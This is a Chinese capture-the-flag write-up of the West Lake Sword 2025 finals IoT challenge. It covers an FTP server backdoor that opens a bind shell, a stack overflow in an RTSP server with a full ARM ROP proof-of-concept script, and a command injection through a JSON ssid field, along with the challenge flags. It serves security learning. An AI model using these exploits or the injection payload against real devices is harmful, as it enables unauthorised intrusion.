西湖论剑2025决赛IOT安全挑战(漏洞挖掘部分)
前言
最近在学习IOT安全,刚好队友把西湖论剑决赛的板子带回来了,就来试着做一做。
相比24年给的openwrt开发版上进行应急响应,今年提供的树莓派少了很多硬件上的操作,直接ssh上去就可以做题了,省略了固件提取的部分,甚至给了完整的镜像,更偏向CTF的解题模式。
目前只做了pwn的部分,漏洞点本身不难,但优化去符号的程序给分析带来了极大的困难,需要具备一定的逆向能力。
题目镜像链接
https://pro-resource.dasctf.com/resource/oss/ef6e9de7fc5772f8fccd0d96d254f67d.zip
连接树莓派
插入烧录好的sd卡,使用usb线连接上设备

查看题目手册

在windows环境上连接时,一开始会被识别位COM口,需要安装USB Ethernet/RNDIS Gadget的驱动然后更改

配置好网卡的ip,ping通树莓派后就可以ssh上去做题了

pass_9_levels-7

难度为非常容易。flag1是virtualbox protector混淆过的checker,看一眼就会爆炸

主要还是分析chall1用户起来的dasftpd,这是一个ftp的服务端,我们直接能找到一个/bin/sh的后门

查看引用

大概的意思就是,当ftp连接时用户名中有:D字样就会开启一个监听25329端口的正向shell

在进行操作前

在ftp连接时输入用户名admin:D,服务直接卡住

回来发现反弹shell的端口成功开启

成功连上shell,执行./flag1 chall1后拿到flag
DASCTF{8b7a732a6363147fce9a2918930c125a}

pass_9_levels-8

给了一个RTSP的服务端,我们可以先大致了解一下RTSP协议

简单看看文件信息,保护全关,只要能找到一个栈溢出基本就拿下了

使用telnet连接,首先看看是否支持接口
1 2 3 4 5 6 7 8 9
| OPTIONS rtsp://10.10.10.133:8554 RTSP/1.0 CSeq: 1 User-Agent: TelnetTest
RTSP/1.0 200 OK CSeq: 1 Date: Sun, Mar 16 2025 19:36:54 GMT Public: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER
|

尝试请求媒体文件,用ida获取的路径试一下
1 2 3 4 5 6 7 8 9
| DESCRIBE rtsp://10.10.10.133:8554/Pic_Stream RTSP/1.0 CSeq: 2 Accept: application/sdp User-Agent: TelnetTest
RTSP/1.0 404 File Not Found, Or In Incorrect Format CSeq: 2 Date: Sun, Mar 16 2025 19:45:29 GMT
|
使用qemu仿真调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| twogoat@twogoat-virtual-machine:~/Desktop/xihulunjian/9-8/rootfs$ tree . ├── baby_rtsp ├── lib │ ├── libxcc_s.so.1 │ ├── libx.so │ ├── libx.so.6 │ ├── libxtdc++.so.6 │ └── lx-linux.so.3 └── qemu-arm-static
1 directory, 7 files twogoat@twogoat-virtual-machine:~/Desktop/xihulunjian/9-8/rootfs$ sudo chroot . ./qemu-arm-static ./baby_rtsp
|
成功开启服务并访问

开启调试

先尝试一下路径名是否存在溢出
1 2 3 4 5 6 7 8 9
| DESCRIBE rtsp://10.10.10.133:8553/Pic_StreamAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RTSP/1.0 CSeq: 2 Accept: application/sdp User-Agent: TelnetTest
RTSP/1.0 404 File Not Found, Or In Incorrect Format CSeq: 2 Date: Sun, Mar 16 2025 19:45:29 GMT
|
这里数组大小为432字节

但在超过一定长度限制后,会直接返回400 Bad Request
1 2 3 4 5 6 7 8 9
| b'DESCRIBE rtsp://192.168.197.134:4645/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x19\x14E\x11 RTSP/1.0\r\nCSeq: 2\r\nAccept: application/sdp\r\nUser-Agent: TelnetTest\r\n\r\n'
==================== SERVER RESPONSE ==================== RTSP/1.0 400 Bad Request Date: Tue, Dec 02 2025 11:17:05 GMT Allow: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER
=========================================================
|
在处理请求的地方,对各部分长度的限制读取长度为最大200字节,应该不是这里的漏洞

如果DESCRIBE一直通过不了,那SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER就全部不可用了,而且程序也没提供推流功能(ANNOUNCE),那么漏洞应该在别的地方
我们可以看到程序中有对GET和POST的处理,应该支持RTSP Over HTTP,我们浏览器直接访问一下,发现先会对请求头进行校验

其中x-sessioncookie和Accept是必须的,就是在这里产生了漏洞

经过测试发现,当传入所需要的字段有多个,比如传入
1 2 3
| x-sessioncookie: AAAA x-sessioncookie: BBBB x-sessioncookie: CCCC
|
会将他们拼接一起,最后的x-sessioncookie值即为
并且长度只会检查每一次获取的字段不超过200字节,它根本不会检查最后总共有没有超过200字节,这里就会造成栈溢出漏洞
我们传入多个A,可以看到我们已经完全控制了栈

存放Accept字段的地址设置在了bss段,我们可以轻松构造rop链

找一波gadget

在树莓派上测试,成功执行命令

poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import* import socket import time
elf = ELF("baby_rtsp")
TARGET_IP = "10.10.10.133" TARGET_PORT = 4646
addr_system = 0x00011888 addr_shell = 0x0006EA70
pop_r3_pc = 0x00011654 mov_r0_r3_pop_r4_pc = 0x00020f28
def raw_socket_request(): print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT} ...")
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((TARGET_IP, TARGET_PORT))
payload = b""
payload += b"GET /Pic_Stream HTTP/1.1\r\n" payload += b"CSeq: 1\r\n" payload += b"User-Agent: twogoat\r\n"
for i in range(404): payload += b"x-sessioncookie: A\r\n" for i in range(8): payload += b"x-sessioncookie: " + p32(0x11451419) + b"\r\n"
payload += b"x-sessioncookie: " + p32(pop_r3_pc) + b"\r\n" payload += b"x-sessioncookie: " + p32(addr_shell) + b"\r\n" payload += b"x-sessioncookie: " + p32(mov_r0_r3_pop_r4_pc) + b"\r\n" payload += b"x-sessioncookie: " + p32(0x114514) + b"\r\n" payload += b"x-sessioncookie: " + p32(addr_system) + b"\r\n"
payload += b"Accept: ./flag2 chall2\r\n"
payload += b"Pragma: no-cache\r\n" payload += b"Cache-Control: no-cache\r\n" payload += b"\r\n"
s.sendall(payload)
time.sleep(10)
except Exception as e: print(f"[-] Error: {e}") finally: s.close() print("[*] Socket closed.")
if __name__ == "__main__": raw_socket_request()
|
执行poc后得到flag,DASCTF{bb5b6a80d630d1b4528b26d463bc1705}

pass_9_levels-9

看启动信息可能是模拟了一个摄像头管理后台之类的,但由于没有前端可用,只开了个7519端口,具体服务接口需要我们手动去逆向分析

题目提示为json数据包,那么也就是说应该是用json传参

先fuzz一下看看哪些CMD ID可用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket import json import time
def fuzz_cmd(cmd_id): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect(('10.10.10.133', 7519)) payload = json.dumps({"CMD": cmd_id, "PARAM": {}}) s.sendall(payload.encode()) try: resp = s.recv(1024) if resp: print(f"[+] CMD {cmd_id} Response: {resp}") except: pass s.close() except: pass
print("Fuzzing CMD IDs...") for i in range(0, 100): fuzz_cmd(i)
|
可以看到简单测试后能成功获得回显
CMD 0是get了一些信息,那么肯定会有set的逻辑

而在查找system的引用后,我们可以看到更新ssid的函数疑似会存在命令注入漏洞


我们先字符串定位到处理处理ID 0的函数,下一步就是在尾部下断点看看是哪里调用了它

利用qemu仿真,功能基本上能正常使用

处理ID 0的函数结束后,来到了到cmd_handle的处理函数

在存放cmd_handler的链表中,可以找到关于ssid的处理函数对应的CMD ID为0x44

发送测试payload,可以看到成功拼接了我们发送过去的ssid并执行命令

用一个echo测试一下,在真机上成功执行命令,没有做任何过滤

poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import socket import json import time
def send_exploit(cmd_id, ssid_payload): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('10.10.10.133', 7519)) data = { "CMD": cmd_id, "PARAM": { "ssid": ssid_payload, "phrase": "twogoat" } } payload = json.dumps(data) print(f"[+] Sending Exploit to CMD {cmd_id}: {payload}") s.sendall(payload.encode()) resp = s.recv(1024) print(f"[+] Response: {resp.decode(errors='ignore')}") s.close() except Exception as e: print(f"[-] Error: {e}")
cmd = "twogoat';./flag3 chall3;'"
send_exploit(0x44, cmd)
|
执行payload后成功生成flag,DASCTF{49d5dcfde3f105311ee6edeb766ae8ba}
